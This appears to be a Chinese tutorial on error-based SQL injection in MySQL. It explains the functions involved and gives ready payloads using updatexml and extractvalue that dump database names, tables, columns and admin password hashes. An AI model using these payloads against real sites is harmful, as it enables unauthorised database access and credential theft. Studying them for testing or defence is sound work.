web-报错注入

必要的函数

rand

select rand(0) from hackbiao;

rand(0):生成以0开头的随机数,生成的数量与字段下数据的条数相等。如果i没有这个地段的话,就会自己形成一个新的字段打印出来。

count和group by

grouip by在进行排序的时候,会生成一个虚拟机的表进行排序,但是它不会打印出来

复制代码
select username,count(username)x from hackbiao group by username;

floor

向下取整,例如0.9=0

复制代码
select floor(rand(0)*2)x from hackbiao;

extractvalue

复制代码
extractvalue(1,2)
#1:对象  2:路径
#2原本要写的是路径,但是如果路径(XPATH)不对的话,就要把我们要写的sql语句带进去执行,然后同报错信息一起呈现出来

updatexml

复制代码
updatexml(1,2,3)
#1:对象 2:路径 3:修改内容
#跟extractvule一样,当2的路径错了的时候,就会把我们的sql语句带进去执行,然后同报错信息一起显示出来

操作

update

查询数据库

id=12 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

id=12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

查询数据表

id=130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询表下的字段(admin表下)

id=130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='admin'),0x7e),1)

读取数据

id=130 and updatexml(1,concat(0x7e,(select group_concat(username,'.........',password) from admin),0x7e),1)

这里是可以看到回显数据是不完整的,看这个感觉就是32位的md5加密。

用长度验证一下猜想,果然是32位。具体数值用substring函数就可以读取了

id=130 and updatexml(1,concat(0x7e,(select password from admin where length(password)=32),0x7e),1)

extractvalue

读取数据库

id=12 and extractvalue(1,concat(0x7e,(select database()),0x7e))

读取数据表

id=12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='qdm123287303_db'),0x7e))

读取数据

id=130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e))

id=130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))

相关推荐
理想三旬36 分钟前
关系数据库
数据库
无心水2 小时前
【分布式利器:RocketMQ】2、RocketMQ消息重复?3种幂等方案,彻底解决重复消费(附代码实操)
网络·数据库·rocketmq·java面试·消息幂等·重复消费·分布式利器
q***98523 小时前
基于人脸识别和 MySQL 的考勤管理系统实现
数据库·mysql
l1t3 小时前
用SQL求解advent of code 2024年23题
数据库·sql·算法
百***81274 小时前
Spring 中使用Mybatis,超详细
spring·tomcat·mybatis
办公解码器4 小时前
Excel工作表打开一次后自动销毁文件,回收站中都找不到
数据库·excel
爬山算法5 小时前
Redis(127)Redis的内部数据结构是什么?
数据结构·数据库·redis
应用市场5 小时前
Qt QTreeView深度解析:从原理到实战应用
开发语言·数据库·qt
q***96585 小时前
Spring Data JDBC 详解
java·数据库·spring
Hello,C++!6 小时前
linux下libcurl的https简单例子
linux·数据库·https